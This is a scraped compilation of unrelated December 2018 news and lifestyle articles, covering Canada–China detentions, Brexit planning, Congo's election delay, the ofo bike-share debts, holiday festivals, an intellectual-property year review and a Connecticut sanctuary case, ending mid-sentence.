Herzegovina still bears the legacy of war, but urban centers of the country such as Sarajevo have rich history and lively nightlife. Sarajevo is becoming one of Europe's most curious and unique capitals. The country has long been a place integrated with diversified cultures and customs. Africa-- Gambia, Sao Tome and Principe Although the Gambia may be mainland Africa's smallest nation, it punches way above its weight in terms of attractions. Sao Tome and Principe is an island country in the Gulf of Guinea. The little-known islands provide unspoiled beauty and isolation from the world, in a way that's now rarely found anywhere else. Chinese tourism has witnessed significant expansion in recent years, and overseas countries have long been preferred destinations. Chinese passports have been regarded as more valuable ones for being granted with more and more favorable policies. Chinese authorities have detained a third Canadian citizen, further escalating an international conflict that began with the arrest of a high-level Chinese tech executive in Vancouver, Canada, earlier this month. Sarah McIver has received administrative punishment for illegal employment, the Chinese Foreign Ministry said at a news conference Thursday. Undated picture of former Canadian diplomat Michael Kovrig distributed on Dec. 11 by the International Crisis Group. (Julie David de Lossy / AFP/Getty Images) Foreign Ministry spokeswoman Hua Chunying sought to draw a distinction between this arrest and those of two other Canadian citizens, Michael Spavor and Michael Kovrig. Advertisement This third case is different from the previous two persons, who are suspected of endangering national security, and with respect to whom the relevant authorities adopted compulsory measures, Hua said. Canadian authorities had previously confirmed the detention of a third Canadian citizen. At a news conference on Wednesday, Canadian Prime Minister Justin Trudeau also emphasized that this case appeared to be more routine. We are looking into the details on this most recent one that doesnt seem to fit the pattern set by the previous two, Trudeau said. Canadas National Post newspaper reported on Wednesday that McIver is an Alberta woman who was teaching English in China at the time of her arrest. The Post also said that arrangements were being made for her return to Canada. However, the timing of the arrest is likely to raise suspicions. The move occurs amid a tense diplomatic row between the two countries stemming from the arrest of Meng Wanzhou, chief financial officer of Huawei, a Chinese tech Goliath. Canadian authorities arrested Meng after receiving an extradition request from the United States. She has been accused by American authorities of violating U.S. sanctions against Iran. The case has catapulted Canada into the middle of a trade war between its two largest trading partners. Meng has since been released on bail. She was ordered to surrender her passport and remain in Vancouver, where she owns property. President Trump has said he might intervene in her case if it helps trade negotiations with China. Although the arrest was made at the behest of the United States, Chinese authorities appear unwilling to let the case disrupt trade talks with Washington, and have directed most of their ire at the Canadians, with what are widely seen as tit-for-tat detentions. Kovrig, a former Canadian diplomat who is now an analyst for the International Crisis Group, a think tank, was taken into custody in Beijing on Dec. 10. Spavor, who operates a cultural exchange program with North Korea and boasts a friendship with Kim Jong Un, was arrested the same day. The Chinese internet has smoldered with discussion of a trade boycott of Canadian goods a favorite tactic in a country of 1.4 billion consumers. Last week Chinas Global Times, a state-owned nationalistic newspaper, speculated that consumers might boycott Canada Goose, an upscale manufacturer of winter clothes. The companys stock dropped after Mengs arrest. Canada Goose also delayed the opening of a flagship store in Beijings trendy Sanlitun district. DeButts is a special correspondent. The European Union marked 100 days until Brexit on Wednesday by triggering an action plan to ensure planes can still fly and money can still flow between Britain and the bloc in the increasingly likely event that the U.K. leaves the EU without a divorce deal. The British government, struggling to break a political logjam over Brexit, released immigration plans that it said will take back control of the countrys borders but which opponents warn will batter the economy by shutting out everyone but highly paid professionals. The EU measures, announced a day after Britain ramped up its own no-deal planning, are intended to alleviate major disruption to people and businesses in case squabbling U.K. politicians fail to ratify a withdrawal agreement between Britain and the bloc. European Commission Vice President Valdis Dombrovskis called the contingency plan an exercise in limiting damage. Advertisement Britain is due to leave the EU on March 29, but its unclear whether lawmakers will approve the divorce agreement Prime Minister Theresa Mays government has negotiated with the bloc. May postponed a vote in Parliament last week because the deal faced heavy defeat. It has been rescheduled for mid-January, but opposition remains strong across the political spectrum. Leaving without a deal risks plunging the British economy into recession and sparking chaos at the borders, as four decades of economic alignment and open markets evaporate. The EU plan includes temporary one- to two-year measures to allow some U.K.-EU financial services to continue and a 12-month provision to keep planes flying between Britain and the bloc. But Dombrovskis stressed that the measures cannot replicate the benefits of the withdrawal agreement, and certainly it cannot replicate the benefits of EU membership. Britains no-deal preparations include putting 3,500 soldiers on standby, chartering boats to bring in goods and stockpiling medicines. The government called them sensible precautions, but opposition politicians accused May of trying to scare lawmakers into supporting her Brexit deal. No-deal would be a disaster for our country and no responsible government would ever allow it, Labor Party leader Jeremy Corbyn said. Congos elections to replace Joseph Kabila, who has been president for nearly 18 years, will be indefinitely delayed despite already being more than two years behind schedule, said one of the candidates Thursday. Noel Tshiani, one of 21 candidates for president who was called to a meeting by the head of Congos electoral commission, said they were told that Sundays long-promised vote could not be held on time because of technical problems, a fire that incinerated thousands of voting machines last week and an intensifying Ebola outbreak in the countrys restive east. Kabilas chosen successor, Emmanuel Ramazani Shadary, is facing off primarily against two other candidates Felix Tshisekedi, the son of Congos veteran opposition leader who died earlier this year, and Martin Fayulu, a former Exxon executive who is backed by two political heavyweights who were barred from candidacy. In an interview with the Washington Post last week, Kabila had expressed certainty that the election would be held on time. Its delay casts a pall of doubt over its eventual integrity, which has already been marred by widespread political violence and a ban on campaigning in the capital Kinshasa. Advertisement The Democratic Republic of Congo, formerly known as Zaire, is sub-Saharan Africas biggest country by area and its more than 80 million people have never experienced a peaceful, democratic transfer of power. The country has been a source of regional instability for decades and more than 100 armed groups operate through its territory. Congo also produces the majority of the worlds cobalt, a mineral which is an essential component in the batteries used in cellphones and electric automobiles. Bearak writes for the Washington Post. Breaking News City Council Meeting Time Change The Lincolnton City Council Meeting scheduled for Tuesday, December 7 at 7pm has been moved up to 6pm. Lincoln County ripped from 10th Congressional District (ATLANTA, GA) Lincoln County is slated to be ripped from its historic inclusion in Georgias 10th Congressional District and instead placed in the 12th... Secret Santa program in dire need of either toys or donations 56 Lincoln County children are counting on Secret Santa for presents under the tree this Christmas, but so far the non-profit group has only received... Chinese President Xi Jinping (R) meets with Stephen Perry, chairman of Britain's 48 Group Club, at the Great Hall of the People in Beijing, capital of China, Oct. 16, 2018. (Xinhua/Liu Weibing) To thank the international community for its support and help during the reform and opening up, Chinese President Xi Jinping presented the China Reform Friendship Medal to 10 foreign friends on Tuesday. Stephen Perry, Chairman of the 48 Group Club, was one of the recipients, but he's not the first in his family to promote Sino-British friendship. In 1953, Stephen Perry's father Jack Perry led dozens of British businessmen to China, kicking off the "Icebreaking Mission" to help bridge Sino-British relations. For years, Stephen Perry and other members in the 48 Group Club dedicated themselves to the "Icebreaking Mission," promoting the bilateral programmatic cooperation and safe-guarding of the Sino-UK friendship from generation to generation. In this article, Perry recalls his China connection, his understanding of the Chinese path and praises the concept of a community of shared future for mankind as he points out the fact that challenges faced by socialist and capitalist governments are similar when it comes to what people want. The Plenum of December 1978 changed China forever, and began a long-term change of the world. The 48 Group and my company were both very active in understanding the concept of reform and opening up, creating new business forms to enable foreigners to participate, and explaining the process. This process required us all to spend many hours studying the documents and the reports of speeches and meetings. Eventually, we came to understand that the Party was clear that it had to lead the people towards improved economic circumstances in their lives. This would be done by using the scientific method and finding ways to create a moderately prosperous society in China by 2020, compared with what it took to accomplish in the West in the time period of 200 to 300 years. The Party was the source of the plan and the continuing improvements. The people of China through their hard work delivered the success ahead of schedule, despite many countervailing winds from inside and outside China. The transformation of China is spoken of as a miracle, but it is, in fact, a tribute to the hard work of hundreds of millions of people. Foreigners have played their part. As China continued to grow, we had to find the explanations for many hungry people who wanted to know how to work with China. We saw the transformation of agriculture, followed by the modernisation of manufacturing, and the creation of large export markets. The development of service industries was also very important. However, at its core was the removal of poverty for so many, which is the first human right. We have so much respect for the CPC and the people of China. President Xi said the challenge now is the creation of Socialism with Chinese Characteristics in a new era. That is so full of significance for the whole world, including the West. The people of the West are worried about their jobs, their salaries and their futures. The challenges facing socialist and capitalist governments are very similar in terms of what people want. So much of what Chinese Socialism is intent upon delivering contains the answers to the contradictions of Western capitalist dilemmas about sharing and caring for the people. China has analysed many aspects of Western economies to find its own route forward. My company and the 48 Group will continue to study and apply what we learn, and that is how we can help Western companies and Governments to understand and cooperate with China. We are now at a crossroads, but let's hope all countries, whatever their systems, will work together to deliver sustainable economic development together, and not fight, as in the past, for the title of winner or loser. In the end, a Community of Shared Future will be key. I am proud to receive the award, but it is for my father and all the pioneers of the Icebreakers, back to the early 1950's. Good comes from good families. Lifestyle / Travel Everybody chimes in when the countdown begins at 10 seconds to midnight, then fireworks shoot up into the sky when the clock strikes 12. Happy New Year! and a kiss or two is shared. There are certain customs to follow when it comes to festivities. Think Christmas, and a turkey dinner with presents under a [] Dec 20, 2018 | By Staff Writer Everybody chimes in when the countdown begins at 10 seconds to midnight, then fireworks shoot up into the sky when the clock strikes 12. Happy New Year! and a kiss or two is shared. There are certain customs to follow when it comes to festivities. Think Christmas, and a turkey dinner with presents under a tree come to mind. Also, be mindful to avoid standing under the mistletoe with a person that one does not fancy. It almost seems like people are just going through the motions when it comes to festive celebrations, which may leave one to feel somewhat jaded. However, if one is looking to switch things up, the following festivals around the world are worthy game changers. Scotland, Edinburghs Hogmanay Dec 30 To Jan 1 Hogmanay is a Scottish word that means the last day of the year. In Edinburgh, it also means a fiery three-day affair that warms the heart in the midst of winter. The celebration opens with the stunning traditional Torchlight Procession on 30 December, a symbolic gesture (may the torches one burns light the way in the New Year) that sees a river of light bearers weave their way through the historic heart of the city. Accompanied by the young pipe and drum bands, torchbearers will arrive at Holyrood Park, where the procession forms a distinct outline of Scotland with the torches. After the lit (pun intended) procession, one will be spoilt for choice when it comes to celebratory events as Edinburgh ushers in the New Year. Head over to the worlds best New Year street party hosted by Johnnie Walker, where live bands, DJs, street performers, and acrobats create a jovial atmosphere while one anticipates the end of the year with the fireworks display from Edinburgh Castle. Finally, start the year refreshed by joining the Loony Dook, a New Years Day tradition where participants jump into the chilly waters at South Queensferry to raise money for charity and shake off their Hogmanay hangover. Visit www.edinburghshogmanay.com for the full listing of events. The Bahamas, Nassaus Junkanoo Dec 26 & Jan 1 The Bahamass dazzling Junkanoo first started when slaves in the British colonies, under the law, were given three days of holiday during Christmas. With this reprieve from labour, they celebrated by singing and dancing in colourful masks. Fancy decorations on clothes, using materials found in their environment, such as feathers and papers, also contributed to the jubilation. Today, Junkanoo is a major cultural festival of the Bahamas, a magnificent celebration of life and freedom. It is marked by two spectacular parades on 26 December and 1 January from 1am to 9am. While Junkanoo parades are held in most of the islands of the Bahamas, none comes close to the extravagance at Nassau. As a community festival, friends and family come together to form groups, sometimes up to 1,000 members, to coordinate music, costumes, and dances according to a theme. All the elaborate costumes seen at the parades are made using unassuming materials such as cardboard, crepe paper, feathers, and beads. To experience the festival in its full flamboyance, plan ahead and arrive early as some of the best views are on upper floors of Nassaus Bay Street or on side bench seats, which one may reserve in advance. Up the ante by participating in the festival through arrangements with the hotel. Visit www.bahamas.com for more details and other activities. This article was written by Marcus Li. Read the full story at www.mens-folio.com here. Managing IP logo It has been another busy year in the intellectual property world. We at Managing IP have also been busy keeping on top of all the changes. Our most-viewed articles Our exclusive awards, rankings and data feature heavily in the list of our 20 most-viewed articles published for subscribers. Our most-read article was the recent relaunch of our 50 most influential people in IP list. Our IP Stars rankings of firms for patent and trade mark work, published early in the year, were also popular. In March, we revealed EMEA, Americas and Asia winners in our restructured awards programme. Popular data on the site included our rankings of firms for PCT work, PTAB work and US district court litigation. Interestingly, two hot IP topics proved very popular. Our articles on blockchain and artificial intelligence feature high in the rankings. Here are our top 20 most-viewed articles published for subscribers in 2018: The 50 most influential people in IP, November 28 Top firms for trade mark work: IP Stars rankings, February 1 This years top firms for patent work: IP Stars rankings, March 4 Managing IP EMEA Awards winners 2018 revealed, March 9 How blockchain will change intellectual property trade marks and brands, February 27 Rankings: the top firms for PCT work this year, December 3 Managing IP Americas Awards winners revealed, March 16 Managing IP Asia awards winners revealed, March 21 2017 PTAB rankings the top petitioners, patent owners, law firms and attorneys, January 10 How AI affects patent prosecution and litigation, June 5 2018 US patent litigation trends to watch in 2018, January 25 How blockchain will change intellectual property trade secrets, March 27 How blockchain will change intellectual property copyright, March 13 Special report: will blockchain revolutionise IP?, April 2 Trade mark C&D letters: the good, the bad and the ugly, April 2 How AI affects trade mark prosecution and litigation, May 10 IP cases to look out for in Europe in 2018, January 5 Why is it so hard to register shape marks in the EU?, August 21 Data: 2017 US patent cases plaintiff, defendant, law firm and district rankings, January 18 Pharma repurposing: old drugs, new tricks, February 27 Autonomous vehicles and IP special report During the year we took a deep dive on another hot IP topic that is increasing in importance. In July, we published an in-depth report, in association with Gowling WLG, on the automotive industry and IP. The report is based on a series of detailed interviews with industry figures, published research and data and an online questionnaire that received more than 200 responses. You can read the report for free by clicking this link: How autonomous vehicles will change IP strategies The year in headlines As always, it was an entertaining year for IP news. Some of the highlights include: In the US, Andrei Iancu was approved as USPTO director; he wasted no time changing the tone and making changes that pleased patent owners. The Supreme Court changed PTAB practice by ending partial institution in SAS Institute v Iancu and allowed the award of foreign lost profits patent damages in US patent cases in WesternGeco v Ion Geophysical. The Federal Circuit moved the pendulum on Section 101 back a bit with its Berkheimer ruling, as well as issuing important rulings on CRISPR and sovereign immunity. Congress even passed IP legislation, with the Music Modernization Act and SUCCESS Act. Canada had a number of big news stories: the legalisation of cannabis had IP implications; the Supreme Court issued a ruling on ISPs; and the USMCA overhauled some important IP issues. Latin America saw a number of changes to IP systems. This included Argentina revamping its patents, trade marks and designs regulations. In Europe, Christian Archambeau took over as EUIPO executive director. The European Commission released a controversial waiver proposal. Among important rulings, the CJEU ruled Louboutins red sole does not fall within absolute grounds for refusal, the UK Supreme Court issued decisions in Cartier v BT and Warner-Lamberts pregabalin patent case, and UK Court of Appeal declared a global licence can be FRAND in Unwired Planet v Huawei. But one thing did not happen: the German Constitutional Court has not issued its vital ruling on the UPC yet. In Asia, a number of big stories in China have dominated. A Federal Circuit-style appeals court is being established. Chinas IP office was restructured goodbye SIPO, hello CNIPA. The year began with a blockbuster ruling, with Huawei scoring a standard essential patent win against Samsung in Shenzhen court. In India, after being virtually dormant for a few years, and amassing a fearsome backlog, Indias Intellectual Property Appellate Board was back in business. One of the longest-running IP stories of recent years ended this year: Apple and Samsung settled their dispute. In contrast, the battle between Apple and Qualcomm intensified during the year. You can read about all of these and more on our selection of news and analysis headlines from the year below: Interesting details from Apple injunctions in Qualcomms China cases, December 13 Andrei Iancu interview: a change in tone at the USPTO, November 28 SEPs appeal: How Unwired Planet ruling helps telecoms and automotive companies, November 27 UK Supreme Court affirms Warner-Lamberts pregabalin patent is invalid, November 14 Why Judge Kohs Qualcomm FRAND ruling is a big deal, November 10 China contemplates IP appeals court, October 25 IP systems updates in Latin America, October 5 How the USMCA will affect Canadian IP, October 3 How the Music Modernization Act changes US copyright law, October 2 Christian Archambeaus challenges as EUIPO executive director, October 2 Canadian Supreme Court rules ISPs can charge some costs of identifying illegal downloaders, September 14 Federal Circuit backs Broad Institute in CRISPR patent dispute, September 10 Federal Circuit affirms tribal sovereign immunity cannot be asserted in IPRs, July 20 Analysis: Section 101s power wanes post-Berkheimer, July 18 SPC change: The European Commission's controversial waiver proposal, July 3 WTO ruling likely to encourage more countries to pass plain packaging laws, July 2 Apple and Samsung settle highlights of the seven-year battle, June 28 PTAB practice in a post-SAS world, June 25 US Supreme Court allows award of foreign lost profits patent damages, June 22 What Cartier v BT means for rights holders, June 15 Louboutin red sole does not fall within absolute grounds for refusal, says CJEU, June 12 Calculating design patent damages after Apple v Samsung, June 11 Chinas SIPO restructure explained, May 20 RPX sale agreed in $555m deal, May 1 Intellectual property in the age of Trump, May 1 Indias Intellectual Property Appellate Board back in business (almost), April 9 A CRISPR picture what to expect from the gene-editing patent boom, March 20 Canadas budding cannabis trade mark industry, March 6 Argentina's rule changes for patents, trade marks and designs explained, February 27 Lessons from the Waymo v Uber trade secrets settlement, February 20 Analysing Huaweis SEP win against Samsung in Shenzhen court, January 19 Weve enjoyed bringing you coverage of all these stories this year and look forward to reporting on all that 2019 brings. In the meantime, happy holidays from the Managing IP editorial team! The material on this site is for law firms, companies and other IP specialists. It is for information only. Please read our Terms and Conditions and Privacy Notice before using the site. All material subject to strictly enforced copyright laws. 2021 Euromoney Institutional Investor PLC. For help please see our FAQs. Share this article An Ofo customer rides past piles of the company's bikes in Xiangyang, Hubei province. [Photo by Guo Qi/For China Daily] Beijing-based bike-sharing company ofo said on Wednesday that it has been bearing "significant debts" due to incorrect judgment on changes in the external environment over the past year, adding that the company has been under "great pressure and struggle over the past few days." It is the first time the company officially admitted to having "significant debt" and making "incorrect judgments," despite media reports that have said the company is facing a liquidity problem. The statement came after hundreds of customers lined up outside the company's headquarters in Beijing's chilly winter to get their deposits back, only to leave empty-handed and angry. It was estimated that ofo's total refunds could exceed 1 billion yuan ($145 million) as of Wednesday, with more than 10 million refund applications, media reports said. "To return users' deposits, pay suppliers' arrears and maintain company operations, we have to make the most of every penny," Dai Wei, founder of ofo, said in a staff letter on Wednesday. "I hope every staff member of ofo will be responsible for every penny we owe and for every user who has supported us." However, the statement seems to have re-ignited the anger of some users. "I don't care about his [Dai's] apology, I want to get my money back," a Beijing-based user surnamed Long told the Global Times on Wednesday. Long said he has been asking for a refund of his deposit for almost two months. When he logged into ofo's app on Tuesday night, he was No.10,200,873 in line. "It's a fraud," he said, noting that the app also shows that there is proper management of users' deposits. He paid 99 yuan ($14.36) as a deposit. The bike-sharing platform's deposit was at first set at 99 yuan, but later it was raised to 199 yuan. Ofo's strategy of competing by scale instead of innovation led it to this point. It can't even pay refunds by mortgaging its bicycles, Zhu Dajian, the director of the Sustainable Development and New-Type Urbanization Think Tank at Tongji University, told the Global Times on Wednesday. "When its rival Mobike shifted its focus toward new measures to manage dockless bikes like detailed GPS-data analysis, ofo was putting as many bikes as it could into cities, which reached the limits of local transport governance," he said. China's Didi Chuxing and Alibaba's Ant Financial have been considering an ofo buyout, media report said in August. "Considering this significant amount of debt, it is likely no one will take over this struggling company. It will go bankrupt for sure," Zhu added. Ofo's dilemma has also sparked concern over the once prosperous Chinese sharing economy, with some Chinese netizens saying that "Ofo's case symbolizes the death of the sharing economy." Industry analysts said that China's sharing economy, which has provided great convenience and contributed a lot to the country's overall economy, still has great growth potential. "The failure of ofo could not be interpreted as the failure of China's sharing economy," Zhu said. "It's an individual case showing that the tech start-up made bad decisions in its rapid expansion, which should not affect the future development of this booming economy," he added. China's sharing economy will continue to grow at an annual rate of over 30 percent over the next five years, according to a report from the State Information Center in February. A Beijing-based ofo user surnamed Li told the Global Times on Wednesday that he is a strong advocate of the sharing economy, since he has greatly benefited from it. "It provides us with cheap rides, and also solves the 'last mile' problem from the subway to my office. So the 99 yuan deposit, which is not a big deal to me, could just be viewed as my payback to the company, as well as my contribution to China's sharing economy," Li said. Unfortunately, our website is currently unavailable in your country. We are engaged on the issue and committed to looking at options that support our full range of digital offerings to your market. We continue to identify technical compliance solutions that will provide all readers with our award-winning journalism. BEIJING, Dec. 20 (Xinhua) -- Qiu Daming, a former anti-graft official in northeast China's Jilin Province, has been dismissed over serious violations including meddling in and leaking information of case investigations. Qiu, former deputy head of Jilin's discipline inspection commission and supervisory commission, was also expelled from the Communist Party of China (CPC), according to statement issued by the CPC Central Commission for Discipline Inspection and the National Supervisory Commission on Thursday. An investigation found that Qiu had obstructed the investigations of some cases, leaking information involving the work of central authorities' disciplinary inspectors. According to the statement, he had violated the Party's relevant regulations to carry out profit-making activities, used his power or influence to buy underpriced houses and sought benefits for himself and his relatives. He was also found to have taken advantage of his posts to seek benefits for others in exchange for money and gifts and to embezzle public funds. According to the statement, Qiu's illegal gains shall be confiscated, and the case will be transferred to judicial agencies. We attempted to send a notification to your email address but we were unable to verify that you provided a valid email address. Please click here to update your email address if you wish to receive notifications. Otherwise, you may click here to disable notifications and hide this message. SEOUL, Dec. 20 (Xinhua) -- South Korea and the Democratic People's Republic of Korea (DPRK) agreed Thursday to conduct a joint inspection on roads along the DPRK's eastern coast ahead of the groundbreaking ceremony next week to modernize and connect railways and roads across the border, Seoul's unification ministry said. The 10-member South Korean working-level delegation will visit the DPRK Friday to inspect the 100-km road along the DPRK's east coast from Goseong to Wonsan for three days. After returning home Sunday, the working-level officials will visit the DPRK again Monday to inspect the 4-km road near the DPRK's western border town of Kaesong together with DPRK officials. The joint survey on the DPRK western road was completed in August, but the two sides agreed to do it again to complete the previous inspection, according to the Seoul ministry. It would come ahead of the groundbreaking ceremony at the Panmun Station in Kaesong on Dec. 26 to modernize and eventually connect railways and roads along the eastern and western Korean Peninsula. The two sides completed the 18-day joint inspection earlier this month on the western and eastern rail lines of the DPRK. South Korean President Moon Jae-in and top DPRK leader Kim Jong Un agreed in their April summit at the truce village of Panmunjom to connect the inter-Korean railways and roads. The leaders agreed in Pyongyang summit in September to hold the groundbreaking ceremony before the end of this year. The Seoul ministry said it had closely consulted with the United States and the United Nations to avoid violating international sanctions on Pyongyang. The groundbreaking ceremony itself was not in violation of the sanctions, but bringing construction equipment to the ceremony could be subject to restrictions. An undated photo shows an elderly woman dining at a nursing home in Hangzhou. [Photo by Sun Yidou for China Daily] An increasing number of elderly citizens in Hangzhou have started to make wills, in a bid to better distribute their wealth and assets and reduce household disputes, statistics from a local non-governmental agency shows. Statistics from the Hangzhou-based Zhejiang Will Library show that so far this year, the number of senior citizens taking out wills through the agency grew by 80 percent. Many travel from neighboring cities such as Ningbo and Zhoushan to register their testaments, the statistics show. Numbers have been increasing at such a rate that the agency now has to make reservations three months in advance. The agency, launched in June 2016, has so far offered free consultation, will registration and custodian services to over 4,800 testators aged over 60 in the province. "This is inconceivable, compared with the scenes when the agency was launched two years ago. Back then, few would be interested (in making wills) and many senior citizens just turned around and walked away," said Ye Shijuan, director with the company. The agency on Wednesday launched its first community service station in Xiacheng district in Hangzhou, hoping to promote such stations to more community centers in the city. Iran blames US, Israel for Albanias expulsion of 2 diplomats Iran blames US, Israel for Albanias expulsion of 2 diplomats Tehran has blamed the US and Israel for Albanias expulsion of two Iranian diplomats accused of engaging in criminal activities that threatened the small European countrys security. Foreign Ministry spokesman Bahram Ghasemi said that Albania has become an unintentional victim of the US, Israel and some terrorists groups, IRNA reports. The US and Israel are working to destroy relations between Iran and European countries, and Albania should not allow others to dictate its relations with Tehran, he said. US National Security advisor John Bolton praised Albania for expelling the Iranian ambassador, signaling to Irans leaders that their support for terrorism will not be tolerated, AP said.Source : RT - Daily news Russia concerned about US plans to deploy missile shield in Japan Putin Russia concerned about US plans to deploy missile shield in Japan Putin Russia is concerned over the plans to deploy elements of the US global missile shield on Japans territory, President Vladimir Putin said Thursday. We do not consider [anti-ballistic missile systems] as defense weapons. This is part of the US strategic nuclear potential brought to the periphery. And these systems operate synchronously with strike complexes, Putin said. Russia remains curious about the level of Japans independence from the US in the sphere of security in making decisions to host US military infrastructures, he said at his annual news conference. It was essential to bear in mind security issues in concluding a peace treaty with Japan, he added. Russia is ready to move along a complicated process of signing a peace treaty, together with its Japanese counterparts, Putin noted.Source : RT - Daily news Kiev is considering sending its Navy ships through the Kerch Strait again, a high-ranked official said weeks after a tense standoff between Russian and Ukrainian vessels in the area. Another passage by Ukrainian Navy ships through the Kerch Strait which connects Black and Azov Seas might take place very soon, according to Alexander Turchinov, head of Ukraines National Security and Defense Council. I think that this issue cannot be delayed, he told BBC News Ukraine on Wednesday. Also on rt.com US lawmakers' 'reckless' call for navy op in Black Sea incites more mischief from Kiev Senator Turchinov, who briefly served as interim president after the Western-backed 2014 Euromaidan coup in Kiev, didnt mince his words while explaining the rationale between the action. To him, Russia is after seizing the Azov Sea, install new maritime borders and legitimize the occupation of Crimea. The only antidote to the plan is to show to the entire world that Ukraine has not lost its position in the Azov Sea. Turchinov was speaking several weeks after three Ukrainian ships attempted to break through the strait which Russia had closed on safety reasons. On November 25, three Ukrainian Navy vessels, including two combat-ready gunboats, entered the Kerch Strait without getting proper clearance first, according to Moscow. After ignoring multiple warnings and demands to stop, they were fired upon and seized by the Russian coast guard, while the sailors were taken to custody. This time, the official said he hopes Ukraine will not be left alone in the next endeavor. It would be very logical if NATO ships which we invited [to visit] the Azov Sea ports make sure that Russia complies with international law, he said, lamenting the military bloc provided no response yet. Read more Nevertheless, Turchinov hopes that during the next passage of Ukrainian warships through the Kerch Strait they will at least send their observers to us. Kiev had also invited officials from OSCE and other international bodies to be on board Ukrainian ships to prove that Ukraine and its sailors do not violate any laws and international rules. The latter phrase sounds odd given that Moscow had accused Ukrainian sailors of deliberately violating Russias maritime borders in the Kerch Strait and breaking specific rules of passing through the narrow, complex water area. Top Russian officials maintained that this was a premeditated and provocative act plotted by the Ukrainian government. Turchinovs BBC interview was predictably met with little praise in Moscow. This was just an announcement of another provocation, Foreign Ministry spokeswoman Maria Zakharova said on Wednesday, calling it utterly irresponsible. She noted the inflammatory remark came at the time when many Ukraines partners try to defuse tensions in this situation and seek ways of de-escalation. It also comes several days after the UN General Assembly passed a Ukrainian resolution, condemning the presence of the Russian military in the Crimean Peninsula and the surrounding waters of the Black Sea and the Azov Sea. 66 countries supported the non-binding resolution but 72 abstained from voting altogether. The new boutique is laid out over two storeys, covering a total of 128 square metres, where visitors can learn about the handmade A. Lange & Sohne watches and the history of the manufactory. Authentic materials, clear lines and plenty of detail recall the history and values of the company. On the sales floor, angular interlocking spaces open up new perspectives and spatial experiences. The philosophy of A. Lange & Sohne is reflected in each and every detail. For example, the glass cabinets are fitted with high-gloss metal pilaster strips angled at 45 degrees, just like the frame parts of the watch movements. The range of materials extends from steel, demonstrating a technically modern construction, through to natural stone, a homage to the home of the manufactory in the Erzgebirge mountains, a region characterised by a centuries-old mining tradition. The brand colour, an elegant shade of grey, has been supplemented with additional facets, including the German silver hue typical of Lange calibres, the colour of which varies between gold and silver. Combined with a timeless aesthetic, this results in an atmosphere where people feel welcome and where the handmade timekeepers can be experienced in all their glory. A. Lange & Sohne boutique London A. Lange & Sohne "In London, A. Lange & Sohne watches have been available at our New Bond Street branch since 1997," says Kim-Eva Wempe, owner of the Hamburg family business. The United King- dom has also played an important role in the history of the manufactory. When Ferdinand Adolph Lange began making pocket watches in Glashutte in 1845, the demand in his home country was limited at first. So he travelled to London to present his watches at an exhibition there with huge success. His watches were more precise than the competitors models, earn- ing him first prize and a medal as part of the fair. After the exhibition, countries around the world began to show interest in the watches from Saxony. In the first few years, more than 90 per cent of Lange watches were sold in England, Russia, France and overseas. A. Lange & Sohne Boutique London A. Lange & Sohne There are various exhibits in the new boutique that call to mind Ferdinand Adolph Lange one of which is the reconstruction of the famous Five-Minute Clock on the ground floor. The original above the stage in the Dresden Semper Opera House was built in 1841 by the watchmaker and his teacher, Master Johann Christian Friedrich Gutkaes. Alongside the clock, there are numerous other exhibitions in the boutique that are just waiting to be discovered. For example, the Ex- perience Library, an oversized type case that tells the story of the manufactory and its crafts- manship using lovingly designed objects. A boutique in London has been at the top of our list of priorities for some time now, explains Lange CEO Wilhelm Schmid. We are delighted that, together with our long-standing partner Wempe, we can now offer our customers in the United Kingdom a comprehensive collection of Lange timepieces in the perfect location. The best boutiques in Switzerland The best boutiques in... Where is the best place to buy a watch in French-speaking Switzerland? Between the undisputed world leader and independent shops with a... Where is the best place to buy a watch... Welcome to Morningstar.co.uk! You have been redirected here from Hemscott.com as we are merging our websites to provide you with a one-stop shop for all your investment research needs.To search for a security, type the name or ticker in the search box at the top of the page and select from the dropdown results.Registered Hemscott users can log in to Morningstar using the same login details. Similarly, if you are a Hemscott Premium user, you now have a Morningstar Premium account which you can access using the same login details. MERIDEN Undocumented immigrant Sujitno Sajuti, who has been living in sanctuary at the Unitarian Universalist Church on Paddock Avenue since October 2017, celebrated his 70th birthday on Wednesday. For Sajuti, his wish was a simple one to be able to safely exit the doors of the church, experience the outdoors for the first time in 14 months, and return to the life he had been building in the U.S. since 1981. I want to get out, Sajuti said. Thats most important. I want to be without restriction. To get a job I want and enjoy. To finish my studies. Thats my goal. Unfortunately for Sajuti and the group of supporters who work to shelter, feed and raise money for his cause, proceedings in his immigration case have been scarce lately. His attorney and supporters have begun to form a new plan to reverse the order from Immigrations and Customs Enforcement requiring Sajuti to board a plane back to Indonesia. Weve been waiting, but basically nothing is happening right now, said Nancy Burton, chairwoman of the sanctuary team at the church. Were hoping things will ramp up again after the first of the year. The church continues to help Sajuti and his wife Dahlia battle through the struggles of confinement, and admires Sajutis ability to keep his spirits high. However, with each passing day and no progress in his case, there is also a layer of frustration in their fight to grant Sajuti a stay of deportation. Were happy to have him, but we never imagined it taking this long, without any closure on the horizon. said the Rev. Jan Carlsson-Bull of Unitarian Universalist Church. While there are still no legal updates or proceedings on Sajutis case, his supporters such as Carlsson-Bull and Alok Bhatt, of the Connecticut Immigrant Rights Alliance, have decided that the best way to get things moving is to put Sajuti into the public eye. While Sajuti must remain indoors and in sanctuary, his story can be spread far beyond the walls of the church. We tried some strategical silence, but that didnt work, Bhatt explained. So were going to start ramping up advocacy on his behalf. Were really trying to build more of a movement of folks who are in sanctuary, and break some of those walls that ICE puts up. We need to put Sujitnos story back into the public consciousness. Bhatt and the rest of Sajutis supporters plan to share his story with surrounding media outlets, and take more visible action, while teaming up with other sanctuary churches in Connecticut to help spread the word of those in sanctuary, and the struggles they must endure on a daily basis. Theres been no end in sight, Sajuti said. But you cant expect ICE to do the right thing if youre not doing the right thing. rchichester@record-journal.com 203-317-2231 Twitter: @ryanchichester1 A Cairo criminal court acquitted on Thursday 40 NGO workers who had previously been sentenced to prison in a high-profile case that had strained US-Egyptian relations. In 2013, an Egyptian court sentenced 43 Egyptian and foreign employees of non-governmental organisations (NGOs) in Egypt to prison terms ranging from one to five years and ordered their organisations closed after they were convicted of operating without licences and illegally receiving foreign funds. In April, the country's top appeals court overturned the prison sentences of 16 of the employees and ordered a re-trial. A judicial source told Ahram Online that the rest of the defendants acquitted on Thursday had also appealed against their sentences. Most foreign defendants in the case, which began in 2012, were able to leave the country in the same year after the authorities had lifted a travel ban against them and they were sentenced in absentia. They included nationals of the US, Germany, Serbia and Arab countries. The groups include pro-democracy and human rights organisations of the US-based International Republican Institute (IRI), the National Democratic Institute (NDI) and Germany's Konrad 